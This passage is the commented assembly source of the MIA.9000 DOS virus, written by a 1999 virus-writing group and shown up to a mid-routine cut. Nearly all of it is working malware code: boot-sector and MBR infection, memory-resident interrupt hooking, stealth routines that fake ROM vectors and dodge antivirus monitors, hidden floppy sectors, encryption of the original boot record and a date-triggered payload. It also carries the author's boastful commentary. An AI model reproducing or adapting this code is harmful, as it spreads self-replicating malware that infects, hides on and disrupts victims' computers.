Comment ˙ [DIVA] 1999 * SOURCE FILE OF MIA.9000 VIRUS * ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ŻŪ  WARNING: DISTRIBUTION OF THIS FILE IS (not) VERY ILLEGAL!!  ŪŽ ³ŻŪ                  ŪŽ³ ³ŻŪ       ŚÄÄÄÄÄÄÄÄÄæŚÄæŚÄÄÄÄÄæ       ŪŽ³ ³ŻŪ      ³ŪŪŪŪŪŪŪŪŪ³³Ū³³ŪŪŪŪŪ³       ŪŽ³ ³ŻŪ       ³ŪŚÄæŪŚÄæŪ³³Ū³³ŪŚÄæŪ³       ŪŽ³ ³ŻŪ      ³Ū³ ĄÄŁ ³Ū³³Ū³³ŪĄÄŁŪ³       ŪŽ³ ³ŻŪ       ³Ū³ ³Ū³³Ū³³ŪŪŪŪŪ³       ŪŽ³ ³ŻŪ      ³Ū³  ³Ū³³Ū³³ŪŚÄæŪ³       ŪŽ³ ³ŻŪ       ³Ū³ ³Ū³³Ū³³Ū³ ³Ū³       ŪŽ³ ³ŻŪ      ĄÄŁ  ĄÄŁĄÄŁĄÄŁ ĄÄŁ       ŪŽ³ ³ŻŪ                  ŪŽ³ ŻŪ  (P) & (C) 1999 Fulvian/DIVA, Fully registered to: Mia W.   ŪŽ ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß D I S C L A I M E R: FULVIAN IS FULLY RESPONSIBLE FOR ANY PROBLEM THAT OCCURS WHICH IS DUE TO ASSEMBLING THIS FILE IN MIA'S PC, BUT NOT IN YOUR PCs! PLEASE EXECUTE THE COMPILED VERSION IN CAREFULLY-CONTROLLED SYSTEM AND ONLY IF YOU KNOW WHAT YOU ARE DOING!!! IF YA FEEL YOU'RE ANTI-ASIAN, PLEASE STOP READING NOW AND DELETE THIS FILE!! < Digital Indonesian Vx Authors [DIVA], the city of Malang - Indonesia > *** The codes in this source are 16-bit! *** if You think You can find 32-bit stuff here, You're wrong! DIVA comes out crawling from the ruins of the past, believe it or not It wears the same old face everyone thought was dead and gone forever buried by the time. It comes up screaming from the ashes of the grave, to make this world a battle field. It's got a voice that steals the courage from the brave, and leaves a scar that won't heal. Unholy alliance, unholy alliance, don't fight it, You just can't win! Virus name : MIA.9000 (the best variant of IRMA.9000) Aliases/a.k.a. : DIE_HARD_3.B, FATAL_ILLUSION_2.B, MATRIX.9000.B Version : 1.30 Type : Not dangerous, resident, multi-partite, and stealth Environment : DOS Author : Fulvian/DIVA Origin : Indonesia Dedication : Mia W. Creation date : ??-??-1999 Creation time : ??:??:?? GMT Creation place : Da house of mine, home sweet home... 8-) Compiler/linker : Turbo Assembler v5.00/Turbo Link v7.1.30.1 Compiling command: TASM /m /zn MIA.ASM or TASM32 /m /zn MIA.ASM Linking command : TLINK /x /ye /yx MIA.OBJ Objectives : FD/HD BOOT, .ARJ, .BIN, .COM, .EXE, .LHA, .LZH, .PAK, .RAR BRs infection : Replacement (cleanable) Files infection ; Appending (cleanable) Features : + Memory-transient (under DOS) + Quick-polymorphic (and oligomorphic) + Fully stealthy (under DOS) + Direct IDE HD write capability + Indirect interrupts hook (tunneling tech also used) + Warm reboot survival (if HD present, and BIOS is Award?) + Some retros for TBAV utilities + Very contagious Bugs/drawbacks : - Works improperly under Microsoft Windows (tm) 8-( - Does not install internal stack - May have some problems with DESQview - Does not recognize LE/LX/NE/PE/W3 during .EXE infection - Infects .EXE files that have internal overlays anyhow - No FCB stealth routines (except for directory entry) - Droppers in archives have the same size - Sometimes causes crosslinks? - ... and many more... ;-( (mail to: fulvian@usa.net) Greets/scorns : + Mia W. (I love You, I mind You, I need You, I want You) + DIVA members (Viva forever! You're irksome lazybones!!) + Ralf Brown (Wow! excellent interrupt listing!) + 29A guys (I adore You, smart ones) + Lord Julus (I hate Your math lessons) + Int13h (How's Paraguay? Paraguayos Republicao Muerte...) + Assembler Head (Don't humble Your abilities) + Sepultura Aussie & other IRs (April fool sucks!!) + AVM, KompuTEK, K-Elektronik, Hackerlink (Shut Your beaks!) + And all virus-related people in the world (Hello!!) ˙ Title MIA is in the stardom, goin' worlwide, and indisputable!! P286 ; Required processor: Intel 80286+ .errndef ??version "Borland Turbo Assembler is recommended!!" If ??version lt 0200h ; Check Turbo Assembler version, must be .err "Need version 2.00+" ; version 2.00 or newer Endif If (VirLen - Mutant) gt (Loader * 200h) .err "Need one more sector!" Endif If ParSiz gt (Memory * 40h) .err "Lack of memory on booting!" Endif setalc Macro db 0D6h ; Macro for (undocumented) SETALC opcode EndM Display "Mia, why were You misunderstood? just try to conceive a like for Me!" Baby Segment Para Byte 'Fulvian' Public 'DIVA' Use16 Assume cs:Baby, ss:Baby Org 0000h Mutant equ 019Ch ; Maximum size of file decryptor (412 bytes) Loader equ 11h ; Virus length in sectors (17 sectors) Memory equ 000Ah ; Memory page needed on booting (10 KB) VirVxD equ 0028h ; Dropper's host size (40 bytes) VirLen equ offset VirEnd - offset VirBeg VirZon equ offset Slack - offset VirBeg VirPar equ (((offset Slack + 200h) - offset VirBeg) + 0Fh) / 10h ParSiz equ VirPar + 01h VirBeg label word ; On booting, MIA receives control from cld ; infected boot-record that reads the whole jmp short BootStrap ; body and brings control to here Buffy: dw 0A6B3h ; Hmmm, this must be an .EXE signature, but... dw 0000h ; Remainder of 512 bytes page dw 00F7h ; Number of 512 bytes pages to hold the file (include header) dw 0000h ; Number of relocation table entries (?) dw 00FEh ; Header size in paragraph dw 0101h ; Minimum paragraphs of memory needed dw 0101h ; Maximum paragraphs of memory needed dw 0000h ; Segment displacement of stack module dw 0D9F0h ; Initial Stack Pointer dw 0000h ; .EXE's negative checksum dw 0D9F0h ; Initial Instruction Pointer dw 0000h ; Segment displacement of code module F_Off dd 9D80233Ah ; Saved file's Segment:Offset DOS_Disk dd 007003EEh ; Original DOS I/O handler DOS_Floppy dd 0F000EC59h ; Diskette I/O handler Old_Tracer dd 00700465h ; Single-step interrupt handler Clock_Tick db 0FDh ; Counter? SFT_Off dw 0000h ; Current SFT offset dw 0000h ; Current SFT segment LowPos dw 0000h ; (Relative) HiPos dw 0000h ; (Relative) LowSiz dw 0000h ; (Relative) HiSiz dw 0000h ; (Relative) ReadOff dw 0000h ; (Relative) R_Bytes dw 0000h ; (Relative) Pointer db 00h ; Pointer to decryptor building Resultant db 00h ; Register pointer used in decryptor (SI/DI) Displacement db 00h ; Memory reference displacement for decryptor Direction db 00h ; Direction of decryptor (i.e. forward/backward) Overdrive db 00h ; Random byte indicates register for decryptor Deathblow db 00h ; Maximum number of stack "crasher" db 00h ; (Unused?) Stuff_01 db 00h ; (Relative) db 00h ; (Unused?) Stuff_02 dw 0000h ; (Relative) Old_Time dw 0000h ; File's time stamp Old_Date dw 0000h ; File's date stamp BootStrap: call Buffy ; Decrypting... Start: push ss test dl,dl ; Booting from FD or HD ? mov si,bx ; BX = SI = boot delta offset pop ds mov ds:[bx + Condition],0EBh jns Forfeit ; Branch if FD mov al,10h out 70h,al ; CMOS RAM index 10h = floppy drive type out 0EBh,al in al,71h or al,al ; FDD was not present? jnz Forfeit db 0B8h Spot db 14h,00h ; MOV AX,0014h xor ds:[si + Condition],0D7h mov ds:[048Fh],al ; Restore disk controller information (bugfix call Enable_FDD ; for MAMMOTH.6000 virus??) mov ds:byte ptr [04CCh],90h ;ÄÄÄÄÄÄÄÄÄÄÄÄ[ Corrupts conventional memory and build hide-out ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; BIOS stores the amount of conventional memory (in KB) at 0040h:0013h, so as ; to allocate memory for MIA on bootup process, subtract the needed size from ; that word, but just because that word's in chunks of 1KB, the size of virus ; block must be rounded up, this will create an unused gap in DOS memory ; chain later on, to solve this problem, MIA creates a free MCB just below ; the virus block, this is the difference between block allocated on bootup ; process and MCB allocated after DOS loading process. ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Forfeit: push offset Dualmorphic sub ds:word ptr [0413h],Memory int 12h ; Get corrupted conventional memory size push si ror ax,0Ah ; Convert it into segment xor di,di mov ds,ax mov ds:byte ptr [di],4Dh ; 'M' - DOS MCB signature mov ds:[di + 01h],di ; Indicate a free block mov ds:word ptr [di + 03h],((Memory * 40h) - VirPar) - 02h add ax,(Memory * 40h) - VirPar mov cx,(Loader * 100h) ; All words that have been read by boot-launcher push cx mov es,ax push ax mov cs:byte ptr [si + Black_Hole + 01h],0E8h push offset Furbish repe movs es:word ptr [di],ss:[si] lds dx,cs:[004Ch] ; Get INT 13h vector into DS:DX retf Furbish: cli ; Disable interrupts xchg ax,cx ; AX = zero pop cx di ; CX = number of words read by boot-launcher mov es,ax ; DI = delta offset repe stosw ; Wipe out all traces (ain't this necessary?) push cs inc ch mov di,0200h ; Clear the vector of last 128 interrupts repe stosw ; 'cause some BIOSes set SS:SP to 0000h:0400h pop es ; on booting, and does not clear it before passing ; control to boot-record ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Main interrupts hooking ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Uppercore: push ds es pop ds call Rand16 mov ax,0C02Ah ; Opcode AX = SUB AL,AL ÄÄÄ AL=00 jnp Jived mov al,32h ; Opcode AX = XOR AL,AL ÄÄÄ AL=00 js Jived mov ax,0D6F8h ; Opcode AX = CLC + SETALC ÄÄÄ AL=00 jnc Jived mov ax,00B0h ; Opcode AX = MOV AL,00 ÄÄÄ AL=00 jz Jived sub al,8Ch ; Opcode AX = AND AL,00 ÄÄÄ AL=00 Jived: mov di,offset Replacement ; INT 24h handler buffer stosw mov al,0CFh ; IRET opcode stosb ; Set up some stuff... mov ds:byte ptr [Purport],0EBh mov ds:byte ptr [Rapidformat],0A8h mov ds:word ptr [ROM_BIOS],dx pop ds:word ptr [ROM_BIOS + 02h] mov ds:byte ptr [VirEnd],0EAh mov al,18h mov dx,offset Transpire ; Install "new" INT 18h call Vectorize push es mov bx,04F0h ; (0000h:04F0h) intra-application communication area mov ds:byte ptr [bx],9Ah ; Far CALL opcode mov ds:word ptr [bx + 01h],offset Biform mov ds:[bx + 03h],es ; This will be far CALL to viral INT 40h handler cmp al,ds:[bx - 7Bh] ; Check number of installed HD xchg ds:[0100h],bx ; Swap INT 40h vector xchg ds:[0102h],ax pop ds jb Present ; Jump if there's one or more... mov ax,ds:word ptr [ROM_BIOS + 02h] mov bx,ds:word ptr [ROM_BIOS] Present: mov ds:word ptr [Flop_BIOS],bx mov ds:word ptr [Flop_BIOS + 02h],ax ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; Seeks an interrupt instruction (CD ??) in ROM to be used as a fake INT 13h ; so all anti-viruses that monitor the vector of INT 13h will notify that the ; INT 13h vector still points out to a location in ROM ('cause the segment is ; C000h/F000h), only the offset differs. it'll look like the ROM entry point. ; MIA seeks the INT number in range [78h..0FFh] to avoid interrupt conflicts ; (assume the interrupts in that range are not in use), points the INT to the ; viral INT 13h handler and then set the INT 13h offset. what anti-viruses do ; on booting is comparing the disk interrupt handler's segment with C000h, if ; below, they assume that the handler is located in RAM (it means that a boot ; virus was installed and is currently active). User will be alarmed for that ; and MIA ain't gonna like it, 8-) ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ mov ax,0F000h ; AT ROM segment Seek_XT: mov es,ax cbw ; AH = zero mov si,ax ; SI = zero mov ds:[Interstice],00CDh ; Put INT 00h opcode mov ds:[Fake_ROM],al SearchVector: db 26h ; ES: prefix lodsb and si,si ; SI = zero? jnz FoundVector ; Jump if not mov ax,0C000h ; Try VROM segment, 8-) mov cx,es cmp ax,cx ; Not found at all? jne Seek_XT mov si,offset Black_Hole ; Uh yeah, use old trick... push ds pop es jmp short Fling FoundVector: cmp al,0CDh ; INT opcode? jne SearchVector ; Nope, so seek again db 26h ; ES: lodsb ; Load [SI] into AL cmp al,77h ; MIA will only use the last 136 interrupts jna SearchVector mov ds:[Fake_ROM],al ; Save fake ROM interrupt dec si dec si ; Now ES:[SI] points at an INT instruction mov dx,offset Dualform ; Then MIA sets the vector of that INT push ds call Vectorize ; Hook fake ROM INT 13h pop ds Fling: call FreeVector ; Obtain one of last 136 INTs randomly in AL push si es mov dx,offset Trapper ; DX holds MIA's INT 21h handler mov ds:byte ptr [Interstice + 01h],al call Vectorize ; Hook INT 21h redirector pop ds dx ret SubTtl Abiistis, dulces caricae! Dualmorphic: push cs mov al,13h call Vectorize ; Swap INT 13h now pop ds call FreeVector ; Obtain random interrupt in AL mov ah,0CDh ; INT opcode push ax mov dx,offset Survive call Vectorize ; Set its vector pop ax xchg al,ah mov ds:[04EEh],ax ; (0000h:04EEh) INT ?? mov al,09h mov dx,04EEh ; So INT 09h points at 0000h:04EEh call Vectorize mov cs:word ptr [Keyboard],dx mov cs:word ptr [Keyboard + 02h],cx push ax mov di,0084h mov es,ax stosw ; Clear INT 21h vector stosw mov dl,80h ; Reset both FD & HD sti ; Enable interrupts int 13h mov ax,0201h mov bx,7C00h ; Now all that's left is original boot-record push bx ; execution Condition equ byte ptr $ jmp short Hike ; (Relative) not a bug!! push ax mov cx,0001h cwd ; Now boot from FD (maybe there's a disk in FDD) int 40h ; So even if the FD ain't infected yet, pop ax ; MIA's already resident in memory!! jnc Payload ; I say a prayer that CF is not set here, 8-) Hike: ; Here we load original boot-record of this disk mov cx,ds:[7C3Bh] ; 'cause MIA doesn't want the partition mov dh,ds:[7C3Dh] ; code to be executed twice (by passing control mov dl,ds:[7C24h] ; to BIOS BootStrap loader) int 13h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ This is the payload: display colourful string ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; Here You go, MIA's payload, it will be triggered on January 1st, February ; 19th, August 17th, September 6th, December 25th when computer's booted from ; infected boot-record. Don't You hope this is a kinda destructive code, what ; it does is just displaying a message on the middle of screen then waits for ; user keystroke and while waiting, the colour of text is changed on and on, ; blinks Num, Caps, and Scroll lock status, speaker sound is also generated. ; Not very smart, 8-(, anyhow it will entertain some lamers... 8-) ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Payload: mov ax,0F00h ; ??? int 1Ah mov ah,04h push dx ; Save boot drive number (is this necessary?) int 1Ah ; Get real-time clock date xchg dx,ax ; ?? add ax,0FEFFh ; Is today first day in year? (January, 1st) jz Activate ; Yup, time to pay back cmp ax,0118h ; Mia's birthday? (February, 19th) je Activate ; Oh, yes baby!! cmp ax,0716h ; Is today Indonesia's independence day? je Activate ; Why not? 8-) cmp ax,0805h ; or is it My birthday? (September, 6th) je Activate ; Yeah, ho ho ho... sub ax,1124h ; December, 25th? jnz Bootload ; Nope, let it go... ; Merry x-mas! don't forget to go to Church! 8-) Activate: mov ah,0Fh ; BIOS video function AH=0Fh, get current video int 10h ; mode push ax mov ax,0003h ; Set up video mode 3 int 10h mov ah,01h ; INT 10h AH=01h, set cursor text-mode shape mov cx,0100h ; CH = cursor start and option int 10h ; "Hide the cursor" mov si,0417h mov di,ds:[si] ; Get keyboard status flags 1 & 2 call Scramble ; Decrypt some bytes push cs mov dx,0B07h ; Begin at row 11, column 7 (zero-based) mov bp,offset Note ; ES:[BP] = offset of message to display pop es Restart: sub bl,bl ; BL = characters' attributes Draw: inc bx ; Change colour each loop test bl,0F0h ; Use attribute [01h..0Fh] jnz Restart xor ds:byte ptr [si],10h ; Toggle Scroll Lock status call Sound mov ah,13h ; BIOS video function AH=13h, write string ES:BP xor ds:byte ptr [si],20h ; Toggle Num Lock status mov cl,offset Insult - offset Note int 10h ; CX = size of message in bytes xor ds:byte ptr [si],40h ; Toggle Caps Lock status call Sound inc ah int 16h ; Check whether there's a keyboard keystroke or jz Draw ; not, loop if not. mov ds:[si],di ; Restore keyboard status flags 1 & 2 mov ax,1300h ; AL = 00h, cursor won't be updated mov cl,offset Sound - offset Insult mov dx,0D1Fh ; Row 13, column 31 (zero-based) mov bp,offset Insult ; Display another string, 8-) int 10h call Scramble ; Re-encrypt some bytes int 05h ; Dump screen text to first printer stc sbb bp,bp ; BP = FFFFh Waste: mov ah,01h int 13h call Delay mov ah,01h ; I'd rather spend My time with Mia than do int 16h ; this silly delay, 8-) dec bp jnz Waste pop ax xor ah,ah ; Restore video mode int 10h Bootload: pop dx ; Restore boot drive number. retf ; (0000h:7C00h) FreeVector: mov ax,0088h ; 136 possible interrupts to use call Ranger ; Random interrupt for INT 09h redirector add al,78h ; 77h < ?? cmp al,ds:[Fake_ROM] je FreeVector cmp al,ds:byte ptr [Interstice + 01h] je FreeVector mov ds:[Button],al ; This is needed only by INT 09h ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 13h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Dualform: sub sp,0FFFAh Black_Hole: pushf ; Store flags state call Strategy cmp dl,80h ; This is only for primary hard disk! ja Idle jb Malfunction cmp ah,01h ; Read function? jna Idle cmp ah,04h ; Write function? jb Purport cmp ah,05h ; Format function? je Signify cmp ah,09h ; Read long sector(s)? jna Idle cmp ah,0Ch ; Write long sector(s)? jnb Idle Purport: jmp short Evilution cmp cx,1234h Value_5 equ word ptr $ - 02h ; Cylinder/sector of (infected) HD's active ; boot-record jne Signify cmp dh,01h ; Head of (infected) HD's active boot-record Value_6 equ byte ptr $ - 01h je Evilution ; Proceed if it's accessed Signify: test ch,ch ; if not, do some checks again jnz Idle ; Accessing cylinder 0 ? or dh,dh ; and head 0 ? jz Evilution Idle: popf jmp Slick ; Pass control to INT 13h handler ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 40h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Biform: add sp,0004h pushf Malfunction: cmp ah,02h ; Reading...? je Investigation cmp ah,03h ; Writing...? je Investigation cmp ah,05h ; Formatting...? jne Needless Investigation: or ch,ch ; First track of FD ? jz Evilution cmp ch,50h ; or track 80 ? je Evilution Needless: popf jmp Into_Disk ; Bring control to original INT 40h handler Evilution: cld ; Don't confuse direction call Flip ; Push all registers push ss:word ptr [bp + 18h] ; Push interrupt caller's flags mov al,15h ; Set INT 15h during process to point at viral mov cx,cs ; INT 15h handler so that no message like mov dx,offset Disk_IO ; "A disk is accessed via an unusual way ... pop ss:word ptr [bp + 12h] ; blah, blah, blah, beep ..." from TbDisk call Revector ; he he he... MIA rules.....!! xor ds:word ptr [04F0h],0370h push cs pop ds mov ds:word ptr [Decryptor],dx mov ds:word ptr [Decryptor + 02h],cx xor ds:word ptr [Dualform + 01h],0FC28h push ds pop es mov bx,offset Slack ; to buffer at ES:[BX] mov cx,0001h ; Track 0, sector 1 mov dl,ss:[bp + 0Ah] ; Get DL value from stack mov dh,ch ; Head (side) 0 cmp ss:[bp + 10h],cl ; Test whether AL = zero on entry... jb Morbid ReadZero: mov ax,0201h ; Read single sector int 18h jnc Successful cmp ah,06h ; Disk was replaced? je ReadZero ; Yes, so try again... Morbid: xor ds:word ptr [Biform + 01h],0F828h call Flop ; Restore all registers push cs ; Do original interrupt request, MIA call Recognize ; does this way to avoid some problems with pushf ; TbDisk, 8-S call Flip Final: call Restorage ; Restore INT 15h call Flop jmp Achieve ; Go back to interrupt caller (keep flags intact) SubTtl Absit ut grolier nisi in cruce! Successful: cmp ds:word ptr [Slack + 1FEh],0AA55h jne Morbid or dl,dl ; Floppy or fixed disk? jns ViralScan ; Jump if floppy disk mov ds:byte ptr [Purport],3Ch mov ds:[Value_5],cx ; Save C/H/S location of MBR mov ds:[Value_6],dh mov cl,04h ; Check four primary partition entries mov si,offset Slack + 1AFh Partitor: ; Scan MBR for active partition... add si,000Fh ; Each entry contains 16 bytes field lodsb cmp al,80h ; Bootable partition? loopnz Partitor ; Nope, check next partition jne Morbid mov cx,0201h lodsb ; Get number of first head in AL mov dh,al mov ds:[Value_4],al mov ds:[Value_6],al lodsw ; Get number of first cylinder & sector in AX mov ds:[Value_3],ax mov ds:[Value_5],ax xchg cx,ax int 18h ; Read HD's active boot-record jc Morbid ; Huh? ViralScan: ; Determine whether boot-record is viral or not cmp ds:byte ptr [bx],0E9h ; A near JMP ? (infected FD) je Right cmp ds:byte ptr [bx],0FAh ; or a CLI ? (infected HD) jne Rapidformat Right: ; Is the disk serial number: BABE-FEED ??!? cmp ds:word ptr [bx + 27h],0FEEDh jne Rapidformat cmp ds:word ptr [bx + 29h],0BABEh jne Rapidformat jmp Falseforce Rapidformat: ; Check media descriptor... jmp short Troublesome ; (Relative) not a bug!! cmp ds:byte ptr [bx + 0Ch],02h jb Troublesome ; Sector size: 512 bytes? branch if below mov ax,ds:[bx + 18h] ; Get number of sectors and ax,003Fh ; Number of sectors mustn't exceed 63 sub al,Loader + 01h ; MIA needs 18 sectors jc Troublesome ; Too few sectors available? cmp ds:byte ptr [bx + 15h],0F8h je Alright ; Hard/fixed disk? yes! mov ax,0301h ; Test whether MIA can write to boot sector... int 18h ; Is this necessary? jc Troublesome ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; Infects a floppy disk, this is done by formatting 18 sectors on the last ; track of the disk, (MIA chooses the side and sectors number randomly). The ; last track is not used by DOS so it's safe enough to put virus codes there, ; but MIA will still trap any access to that track to prevent user from ; knowing that MIA hides there - MIA puts original boot-record (encrypted) in ; first formatted sector and main codes in next 17 sectors, then finally MIA ; will replace boot-record with oligomorphic boot-launcher. ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub ax,ax mov ds:[Value_4],al inc ax ; Track 0, side 0, sector 1, this is (of course) mov ds:[Value_3],ax ; where the floppy boot-record located ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; The format data buffer comprises track X, side X, sector X, and sector size ; (0=128, 1=256, 2=512, 3=1024). To format 18 sectors it needs 18 fields, now ; what MIA does here is setting up side and sector numbers & building format ; fields (it seems like MIA does not wanna spend 72 bytes on (stupid!) fixed ; format fields). The fields ain't put above the CS:IP to avoid DMA overcross ; boundary error which (might be) a false error in some BIOSes that will fail ; the formatting process. Note that some BIOSes return CF=0 after formatting ; but then return CF=1 with AH=04 (sector not found) when we try to read from ; or write to those sectors. ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ push dx mov ax,ds:[bx + 13h] ; AX = total number of formatted sectors on disk test ax,ax ; No formatted sectors?? jz Troublesome ; Jump out cwd div ds:word ptr [bx + 18h] ; Divide AX by number of sectors per track to dec dx ; get number of total tracks per circle line jl Division ; Branch if SF and OF states differ inc ax ; Increase AX if there's remainder Division: cwd ; Convert word into doubleword mov cx,ds:[bx + 1Ah] ; CX = total number of floppy disk sides div cx dec dx ; Test whether DX is zero or not jnge Bypass ; SF <> OF inc ax Bypass: ; So now AX = the highest track number on disk pop dx mov bl,al xchg cx,ax call Ranger ; Get random side number in AX mov bh,al mov dh,bh ; Save side number in DH, for formatting process mov al,-(Loader + 01h) ; Choose first sector number randomly call Ranger inc ax ; Zero ain't a valid sector number xchg ax,bx mov bh,02h mov cl,Loader + 01h ; 18 fields format data buffer to build. mov di,offset Buffy ; DI points fields buffer offset push di Parameter: ; Now build fields buffer for format... stosw ; Just store number of track and side xchg ax,bx stosw ; Store sector number and size xchg bx,ax ; But sector must be increased each field to inc bx ; format contiguous sectors loop Parameter mov ch,al ; CH = track number to format mov ax,0501h + Loader ; AL = number of sector to format pop bx ; ES:[BX] = segment:offset of fields buffer mov cl,ds:[bx + 02h] ; CL = (not needed) for later usage int 18h ; DH = side number to format jnc Ripedisk ; Jump if successful Troublesome: jmp Morbid Alright: xchg cx,ax jcxz Troublesome ; Error, too few reserved sectors push 0000h ; Push zero word inc cx ; CL = highest sector number minus 18 mov dx,0080h mov al,10h out 70h,al ; CMOS RAM index 10h = floppy drive type in al,71h mov ds:[Spot],al ; Save it for later usage pop ds mov al,ds:[04CCh] ; Award BIOS configuration bits, push es ; including floppy drives swapping pop ds mov ds:byte ptr [Forfeit - 01h],al Ripedisk: call Rand16 ; Obtain random word mov ds:[Polynomial],ah ; Save the hi-byte call Disable_Equipments ; Disable keyboard, mouse, RTC, video (so MIA's ; INT 09h handler will not be executed during mov ax,0300h + Loader ; encryption that can cause a system crash). xor bx,bx mov ds:[Value_1],cx mov ds:[Value_2],dx inc cx ; Reserve a sector for saving original boot-record push cs cx mov cx,(offset Backbreak - offset Junkie) / 02h mov si,offset Junkie mov di,offset Buffy repe movsw ; Copy boot decryptor to CS:0003h pop cx or dl,dl ; FD or HD ? les di,ds:[ROM_BIOS] ; Load original INT 13h vector js Trueblue les di,ds:[Flop_BIOS] ; Load original INT 40h vector Trueblue: mov ds:[bx + 1Dh],di ; Fixed address!! mov ds:[bx + 1Fh],es pop es db 0E8h ; Encrypt and write to disk dw (offset Buffy + (offset Evoke - offset Junkie)) - ($ + 02h) call Restore_IRQs ; Restore PIC 1 state Stupid: jc Troublesome dec cx ; Save original boot-record in previous sector push cx call Rand16 mov ds:[Cipher],ax ; Get encryption keyword... mov bx,offset Slack call ExOr_Boot ; Encrypt original boot-record mov ax,0301h ; Write original boot-record pop cx int 18h jc Stupid mov ax,ds:[Cipher] call ExOr_Boot ; Decrypt original boot-record ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Generate (oligomorphic) boot-launcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; Example: ; ; 0000:7C00 E9 44 01 JMP 7D47 ; ; 0000:7D47 FA CLI ; 0000:7D48 2B E4 SUB SP,SP ; 0000:7D4A 8E C4 MOV ES,SP ÄÄÄ Set read buffer segment ; 0000:7D4C 8E D4 MOV SS,SP ÄÄÄ Set stack segment ; 0000:7D4E B9 53 50 MOV CX,5053 ÄÄÄ Track 80, sector 83 ; 0000:7D51 BC 9A E4 MOV SP,E49A ÄÄÄ Set stack pointer ; 0000:7D54 BA 00 01 MOV DX,0100 ÄÄÄ Side 1, drive A ; 0000:7D57 B8 11 02 MOV AX,0211 ÄÄÄ Read 17 sectors ; 0000:7D5A BB 71 1A MOV BX,1A7D ÄÄÄ Read buffer offset ; 0000:7D5D CD 13 INT 13 ; 0000:7D5F 72 02 JC 7D63 ; 0000:7D61 FF E3 JMP BX ; 0000:7D63 CD 18 INT 18 ; ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ mov ds:word ptr [bx + 20h],1983h Cipher equ word ptr $ - 02h ; Original boot-record's encryption keyword mov ds:word ptr [bx + 22h],5053h Value_1 equ word ptr $ - 02h ; Sector & track (cylinder) ... mov ax,0100h ; Boot drive & head (side) of original ; boot-record and virus codes Value_2 equ word ptr $ - 02h and al,80h ; Drive B ain't bootable, of course mov ds:word ptr [bx + 24h],ax mov ds:word ptr [bx + 27h],0FEEDh mov ds:word ptr [bx + 29h],0BABEh mov ds:word ptr [bx + 2Fh],10CDh mov ds:word ptr [bx + 3Bh],0001h Value_3 equ word ptr $ - 02h ; Sector & track (cylinder) of boot-record ; (needed for HD) mov ds:byte ptr [bx + 3Dh],00h Value_4 equ byte ptr $ - 01h ; Head (side) of boot-record 